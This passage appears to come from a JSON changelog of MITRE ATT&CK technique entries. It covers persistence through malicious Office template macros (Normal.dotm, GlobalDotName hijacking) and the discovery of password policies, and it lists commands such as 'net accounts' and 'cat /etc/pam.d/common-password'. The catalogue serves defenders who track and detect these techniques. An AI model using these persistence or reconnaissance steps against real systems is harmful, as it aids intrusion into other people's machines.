                            "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
                        },
                        {
                            "source_name": "Hexacorn Office Template Macros",
                            "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
                            "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
                        },
                        {
                            "source_name": "Microsoft Change Normal Template",
                            "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
                            "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
                        },
                        {
                            "source_name": "enigma0x3 normal.dotm",
                            "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
                            "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
                        },
                        {
                            "source_name": "GlobalDotName Jun 2019",
                            "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
                            "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Office Suite",
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:31:45.017000+00:00\", \"old_value\": \"2026-05-12 15:12:00.643000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.(Citation: Microsoft Change Normal Template)\\n\\nOffice Visual Basic for Applications (VBA) macros(Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \\n\\nWord Normal.dotm location:<br>\\n<code>C:\\\\Users\\\\&lt;username&gt;\\\\AppData\\\\Roaming\\\\Microsoft\\\\Templates\\\\Normal.dotm</code>\\n\\nExcel Personal.xlsb location:<br>\\n<code>C:\\\\Users\\\\&lt;username&gt;\\\\AppData\\\\Roaming\\\\Microsoft\\\\Excel\\\\XLSTART\\\\PERSONAL.XLSB</code>\\n\\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \\n\\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\", \"old_value\": \"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\\n\\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \\n\\nWord Normal.dotm location:<br>\\n<code>C:\\\\Users\\\\&lt;username&gt;\\\\AppData\\\\Roaming\\\\Microsoft\\\\Templates\\\\Normal.dotm</code>\\n\\nExcel Personal.xlsb location:<br>\\n<code>C:\\\\Users\\\\&lt;username&gt;\\\\AppData\\\\Roaming\\\\Microsoft\\\\Excel\\\\XLSTART\\\\PERSONAL.XLSB</code>\\n\\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \\n\\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\\n+Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.(Citation: Microsoft Change Normal Template)\\n \\n-Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \\n+Office Visual Basic for Applications (VBA) macros(Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \\n \\n Word Normal.dotm location:<br>\\n <code>C:\\\\Users\\\\&lt;username&gt;\\\\AppData\\\\Roaming\\\\Microsoft\\\\Templates\\\\Normal.dotm</code>\"}}, \"iterable_item_removed\": {\"root['external_references'][5]\": {\"source_name\": \"CrowdStrike Outlook Forms\", \"description\": \"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.\", \"url\": \"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746\"}, \"root['external_references'][7]\": {\"source_name\": \"Outlook Today Home Page\", \"description\": \"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.\", \"url\": \"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to66__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to66__0\"><a href=\"#difflib_chg_to66__top\">t</a></td><td class=\"diff_header\" id=\"from66_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Microsoft&nbsp;Office&nbsp;templates&nbsp;to&nbsp;obtain&nbsp;p</td><td class=\"diff_next\"><a href=\"#difflib_chg_to66__top\">t</a></td><td class=\"diff_header\" id=\"to66_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Microsoft&nbsp;Office&nbsp;templates&nbsp;to&nbsp;obtain&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersistence&nbsp;on&nbsp;a&nbsp;compromised&nbsp;system.&nbsp;Microsoft&nbsp;Office&nbsp;contain</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersistence&nbsp;on&nbsp;a&nbsp;compromised&nbsp;system.&nbsp;Microsoft&nbsp;Office&nbsp;contain</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;templates&nbsp;that&nbsp;are&nbsp;part&nbsp;of&nbsp;common&nbsp;Office&nbsp;applications&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;templates&nbsp;that&nbsp;are&nbsp;part&nbsp;of&nbsp;common&nbsp;Office&nbsp;applications&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;used&nbsp;to&nbsp;customize&nbsp;styles.&nbsp;The&nbsp;base&nbsp;templates&nbsp;within&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;used&nbsp;to&nbsp;customize&nbsp;styles.&nbsp;The&nbsp;base&nbsp;templates&nbsp;within&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">application&nbsp;are&nbsp;used&nbsp;each&nbsp;time&nbsp;an&nbsp;application&nbsp;starts.<span class=\"diff_sub\">&nbsp;</span>(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">application&nbsp;are&nbsp;used&nbsp;each&nbsp;time&nbsp;an&nbsp;application&nbsp;starts.(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Microsoft&nbsp;Change&nbsp;Normal&nbsp;Template)&nbsp;&nbsp;Office&nbsp;Visual&nbsp;Basic&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Microsoft&nbsp;Change&nbsp;Normal&nbsp;Template)&nbsp;&nbsp;Office&nbsp;Visual&nbsp;Basic&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;Applications&nbsp;(VBA)&nbsp;macros<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MSDN&nbsp;VBA&nbsp;in&nbsp;Office)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;Applications&nbsp;(VBA)&nbsp;macros(Citation:&nbsp;MSDN&nbsp;VBA&nbsp;in&nbsp;Office)&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;be&nbsp;inserted&nbsp;into&nbsp;the&nbsp;base&nbsp;template&nbsp;and&nbsp;used&nbsp;to&nbsp;execute&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;be&nbsp;inserted&nbsp;into&nbsp;the&nbsp;base&nbsp;template&nbsp;and&nbsp;used&nbsp;to&nbsp;execute&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&nbsp;when&nbsp;the&nbsp;respective&nbsp;Office&nbsp;application&nbsp;starts&nbsp;in&nbsp;order&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;when&nbsp;the&nbsp;respective&nbsp;Office&nbsp;application&nbsp;starts&nbsp;in&nbsp;order&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;obtain&nbsp;persistence.&nbsp;Examples&nbsp;for&nbsp;both&nbsp;Word&nbsp;and&nbsp;Excel&nbsp;have</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;obtain&nbsp;persistence.&nbsp;Examples&nbsp;for&nbsp;both&nbsp;Word&nbsp;and&nbsp;Excel&nbsp;have&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;been&nbsp;discovered&nbsp;and&nbsp;published.&nbsp;By&nbsp;default,&nbsp;Word&nbsp;has&nbsp;a&nbsp;Norma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">een&nbsp;discovered&nbsp;and&nbsp;published.&nbsp;By&nbsp;default,&nbsp;Word&nbsp;has&nbsp;a&nbsp;Normal.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l.dotm&nbsp;template&nbsp;created&nbsp;that&nbsp;can&nbsp;be&nbsp;modified&nbsp;to&nbsp;include&nbsp;a&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dotm&nbsp;template&nbsp;created&nbsp;that&nbsp;can&nbsp;be&nbsp;modified&nbsp;to&nbsp;include&nbsp;a&nbsp;mali</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">licious&nbsp;macro.&nbsp;Excel&nbsp;does&nbsp;not&nbsp;have&nbsp;a&nbsp;template&nbsp;file&nbsp;created&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;macro.&nbsp;Excel&nbsp;does&nbsp;not&nbsp;have&nbsp;a&nbsp;template&nbsp;file&nbsp;created&nbsp;by&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;default,&nbsp;but&nbsp;one&nbsp;can&nbsp;be&nbsp;added&nbsp;that&nbsp;will&nbsp;automatically&nbsp;be&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">default,&nbsp;but&nbsp;one&nbsp;can&nbsp;be&nbsp;added&nbsp;that&nbsp;will&nbsp;automatically&nbsp;be&nbsp;loa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oaded.(Citation:&nbsp;enigma0x3&nbsp;normal.dotm)(Citation:&nbsp;Hexacorn&nbsp;O</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ded.(Citation:&nbsp;enigma0x3&nbsp;normal.dotm)(Citation:&nbsp;Hexacorn&nbsp;Off</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ffice&nbsp;Template&nbsp;Macros)&nbsp;Shared&nbsp;templates&nbsp;may&nbsp;also&nbsp;be&nbsp;stored&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ice&nbsp;Template&nbsp;Macros)&nbsp;Shared&nbsp;templates&nbsp;may&nbsp;also&nbsp;be&nbsp;stored&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;pulled&nbsp;from&nbsp;remote&nbsp;locations.(Citation:&nbsp;GlobalDotName&nbsp;Jun</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;pulled&nbsp;from&nbsp;remote&nbsp;locations.(Citation:&nbsp;GlobalDotName&nbsp;Jun&nbsp;2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2019)&nbsp;&nbsp;&nbsp;Word&nbsp;Normal.dotm&nbsp;location:&lt;br&gt;&nbsp;&lt;code&gt;C:\\Users\\&amp;lt;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">019)&nbsp;&nbsp;&nbsp;Word&nbsp;Normal.dotm&nbsp;location:&lt;br&gt;&nbsp;&lt;code&gt;C:\\Users\\&amp;lt;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sername&amp;gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rname&amp;gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm&lt;/c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;&nbsp;Excel&nbsp;Personal.xlsb&nbsp;location:&lt;br&gt;&nbsp;&lt;code&gt;C:\\Users\\&amp;lt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;&nbsp;&nbsp;Excel&nbsp;Personal.xlsb&nbsp;location:&lt;br&gt;&nbsp;&lt;code&gt;C:\\Users\\&amp;lt;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">;username&amp;gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSON</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sername&amp;gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">AL.XLSB&lt;/code&gt;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;change&nbsp;the&nbsp;location&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.XLSB&lt;/code&gt;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;change&nbsp;the&nbsp;location&nbsp;of&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;base&nbsp;template&nbsp;to&nbsp;point&nbsp;to&nbsp;their&nbsp;own&nbsp;by&nbsp;hijacking&nbsp;the&nbsp;app</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;base&nbsp;template&nbsp;to&nbsp;point&nbsp;to&nbsp;their&nbsp;own&nbsp;by&nbsp;hijacking&nbsp;the&nbsp;appli</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lication's&nbsp;search&nbsp;order,&nbsp;e.g.&nbsp;Word&nbsp;2016&nbsp;will&nbsp;first&nbsp;look&nbsp;for&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation's&nbsp;search&nbsp;order,&nbsp;e.g.&nbsp;Word&nbsp;2016&nbsp;will&nbsp;first&nbsp;look&nbsp;for&nbsp;No</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Normal.dotm&nbsp;under&nbsp;&lt;code&gt;C:\\Program&nbsp;Files&nbsp;(x86)\\Microsoft&nbsp;Off</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rmal.dotm&nbsp;under&nbsp;&lt;code&gt;C:\\Program&nbsp;Files&nbsp;(x86)\\Microsoft&nbsp;Offic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ice\\root\\Office16\\&lt;/code&gt;,&nbsp;or&nbsp;by&nbsp;modifying&nbsp;the&nbsp;GlobalDotName</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e\\root\\Office16\\&lt;/code&gt;,&nbsp;or&nbsp;by&nbsp;modifying&nbsp;the&nbsp;GlobalDotName&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;registry&nbsp;key.&nbsp;By&nbsp;modifying&nbsp;the&nbsp;GlobalDotName&nbsp;registry&nbsp;key&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">egistry&nbsp;key.&nbsp;By&nbsp;modifying&nbsp;the&nbsp;GlobalDotName&nbsp;registry&nbsp;key&nbsp;an&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;adversary&nbsp;can&nbsp;specify&nbsp;an&nbsp;arbitrary&nbsp;location,&nbsp;file&nbsp;name,&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;can&nbsp;specify&nbsp;an&nbsp;arbitrary&nbsp;location,&nbsp;file&nbsp;name,&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;file&nbsp;extension&nbsp;to&nbsp;use&nbsp;for&nbsp;the&nbsp;template&nbsp;that&nbsp;will&nbsp;be&nbsp;loaded</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;extension&nbsp;to&nbsp;use&nbsp;for&nbsp;the&nbsp;template&nbsp;that&nbsp;will&nbsp;be&nbsp;loaded&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;on&nbsp;application&nbsp;startup.&nbsp;To&nbsp;abuse&nbsp;GlobalDotName,&nbsp;adversaries</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;application&nbsp;startup.&nbsp;To&nbsp;abuse&nbsp;GlobalDotName,&nbsp;adversaries&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;first&nbsp;need&nbsp;to&nbsp;register&nbsp;the&nbsp;template&nbsp;as&nbsp;a&nbsp;trusted&nbsp;docume</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;first&nbsp;need&nbsp;to&nbsp;register&nbsp;the&nbsp;template&nbsp;as&nbsp;a&nbsp;trusted&nbsp;document</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt&nbsp;or&nbsp;place&nbsp;it&nbsp;in&nbsp;a&nbsp;trusted&nbsp;location.(Citation:&nbsp;GlobalDotNam</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;place&nbsp;it&nbsp;in&nbsp;a&nbsp;trusted&nbsp;location.(Citation:&nbsp;GlobalDotName&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Jun&nbsp;2019)&nbsp;&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;need&nbsp;to&nbsp;enable&nbsp;macros&nbsp;to&nbsp;exec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Jun&nbsp;2019)&nbsp;&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;need&nbsp;to&nbsp;enable&nbsp;macros&nbsp;to&nbsp;execut</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ute&nbsp;unrestricted&nbsp;depending&nbsp;on&nbsp;the&nbsp;system&nbsp;or&nbsp;enterprise&nbsp;secur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;unrestricted&nbsp;depending&nbsp;on&nbsp;the&nbsp;system&nbsp;or&nbsp;enterprise&nbsp;securit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ity&nbsp;policy&nbsp;on&nbsp;use&nbsp;of&nbsp;macros.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;policy&nbsp;on&nbsp;use&nbsp;of&nbsp;macros.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0519: Detect Persistence via Office Template Macro Injection or Registry Hijack"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2018-04-18 17:59:24.739000+00:00",
                    "modified": "2026-11-04 03:17:41.090000+00:00",
                    "name": "Password Policy Discovery",
                    "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adhere to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>.(Citation: Superuser Linux Password Policies)(Citation: Jamf User Password Policies) Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS.(Citation: AWS GetPasswordPolicy)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "discovery"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1201",
                            "external_id": "T1201"
                        },
                        {
                            "source_name": "AWS GetPasswordPolicy",
                            "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.",
                            "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html"
                        },
                        {
                            "source_name": "Jamf User Password Policies",
                            "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.",
                            "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
                        },
                        {
                            "source_name": "Superuser Linux Password Policies",
                            "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.",
                            "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu"
                        },
                        {
                            "source_name": "US-CERT-TA18-106A",
                            "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Regina Elwell",
                        "Sudhanshu Chauhan, @Sudhanshu_C",
                        "Isif Ibrahima, Mandiant",
                        "Austin Clark, @c2defense"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "Linux",
                        "macOS",
                        "IaaS",
                        "Network Devices",
                        "Identity Provider",
                        "SaaS",
                        "Office Suite"
                    ],
                    "x_mitre_version": "1.7",
